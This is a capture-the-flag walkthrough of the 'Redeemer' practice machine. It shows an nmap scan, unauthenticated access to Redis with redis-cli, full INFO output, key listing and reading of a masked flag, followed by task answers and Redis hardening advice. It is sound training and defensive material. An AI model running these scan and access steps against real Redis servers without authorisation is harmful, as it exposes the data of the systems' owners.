Redeemer is a Very Easy Linux machine that explores Redis database enumeration and exploitation. Redis is an in-memory database that can be misconfigured to allow unauthenticated access, potentially exposing sensitive data like flags or credentials.

Path to root, at a glance:

  • Scan the target → discover port 6379 (Redis) open
  • Connect to Redis using redis-cli
  • Enumerate database information and keys
  • Select database 0 and retrieve the flag

Nmap

┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Redeemer]
└─$ sudo nmap -Pn -sSCV 10.129.136.187 -p- --min-rate=1000 -oA redeemer-nmap
Starting Nmap 7.99 ( https://nmap.org ) at 2022-05-11 17:30 -0400
Nmap scan report for 10.129.136.187
Host is up (0.35s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 5.0.7

The scan reveals:

  • Port 6379/tcp: Redis key-value store version 5.0.7
  • No other open ports found

The Service: Redis

Redis (Remote Dictionary Server) is an in-memory data structure store used as a database, cache, and message broker. Key characteristics:

  • Port: 6379 (default)
  • Type: In-memory database (NoSQL)
  • Protocol: TCP with RESP (REdis Serialization Protocol)
  • Authentication: Optional password protection (often misconfigured)
  • Common vulnerabilities: No authentication, data exposure, command injection

Exploitation: Redis Unauthenticated Access

Connecting to Redis

Use the redis-cli command-line utility with the -h flag to specify the host:

┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Redeemer]
└─$ redis-cli -h 10.129.136.187
10.129.136.187:6379>

Gathering Server Information

Use the INFO command to get server statistics and information:

10.129.136.187:6379> INFO

# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:66bd629f924ac924
redis_mode:standalone
os:Linux 5.4.0-77-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:9.3.0
process_id:750
run_id:e8029f377f8066b714b46fcc57507b3619f025e0
tcp_port:6379
uptime_in_seconds:70
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:9639193
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf

# Clients
connected_clients:1
client_recent_max_input_buffer:2
client_recent_max_output_buffer:0
blocked_clients:0

# Memory
used_memory:859624
used_memory_human:839.48K
used_memory_rss:5840896
used_memory_rss_human:5.57M
used_memory_peak:859624
used_memory_peak_human:839.48K
used_memory_peak_perc:100.12%
used_memory_overhead:846142
used_memory_startup:796224
used_memory_dataset:13482
used_memory_dataset_perc:21.26%
allocator_allocated:1570968
allocator_active:1892352
allocator_resident:9101312
total_system_memory:2084024320
total_system_memory_human:1.94G
used_memory_lua:41984
used_memory_lua_human:41.00K
used_memory_scripts:0
used_memory_scripts_human:0B
number_of_cached_scripts:0
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
allocator_frag_ratio:1.20
allocator_frag_bytes:321384
allocator_rss_ratio:4.81
allocator_rss_bytes:7208960
rss_overhead_ratio:0.64
rss_overhead_bytes:-3260416
mem_fragmentation_ratio:7.14
mem_fragmentation_bytes:5023280
mem_not_counted_for_evict:0
mem_replication_backlog:0
mem_clients_slaves:0
mem_clients_normal:49694
mem_aof_buffer:0
mem_allocator:jemalloc-5.2.1
active_defrag_running:0
lazyfree_pending_objects:0

# Persistence
loading:0
rdb_changes_since_last_save:4
rdb_bgsave_in_progress:0
rdb_last_save_time:1788024019
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:0
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0

# Stats
total_connections_received:5
total_commands_processed:7
instantaneous_ops_per_sec:0
total_net_input_bytes:332
total_net_output_bytes:12065
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0

# Replication
role:master
connected_slaves:0
master_replid:ca4759f9dfec2a3fdf52106b3441516e024f7e80
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:0.086164
used_cpu_user:0.074702
used_cpu_sys_children:0.000000
used_cpu_user_children:0.000000

# Cluster
cluster_enabled:0

# Keyspace
db0:keys=4,expires=0,avg_ttl=0

The INFO command shows:

  • Redis version: 5.0.7
  • Database 0 contains 4 keys

Listing All Keys

Use the KEYS * command to list all keys in the current database:

10.129.136.187:6379> KEYS *
1) "numb"
2) "stor"
3) "temp"
4) "flag"

Retrieving the Flag

Use the GET command to retrieve the value of the “flag” key:

10.129.136.187:6379> GET flag
"03e1************************53eb"

Task Answers

1 Which TCP port is open on the machine? 6379
2 Which service is running on the port that is open on the machine? redis
3 What type of database is Redis? In-memory Database
4 Which command-line utility is used to interact with the Redis server? redis-cli
5 Which flag is used with the Redis command-line utility to specify the hostname? -h
6 Once connected to a Redis server, which command is used to obtain the information and statistics about the Redis server? info
7 What is the version of the Redis server being used on the target machine? 5.0.7
8 Which command is used to select the desired database in Redis? select
9 How many keys are present inside the database with index 0? 4
10 Which command is used to obtain all the keys in a database? keys *

Security Recommendations

  • Enable authentication - Set requirepass in redis.conf
  • Bind to specific interfaces - Use bind 127.0.0.1 or internal IPs
  • Use TLS encryption - Enable SSL/TLS for Redis connections
  • Disable dangerous commands - Rename or disable FLUSHALL, CONFIG, etc.
  • Network segmentation - Restrict access to Redis port with firewalls
  • Regular updates - Keep Redis updated to latest version
  • Monitor logs - Check for suspicious access patterns

Why It Worked

This machine demonstrates how a misconfigured Redis instance (no password required, accessible over the network) can expose sensitive data. Redis is designed for speed, not security by default. Without proper configuration, it can become a significant security risk, especially when storing sensitive information like flags, credentials, or API keys.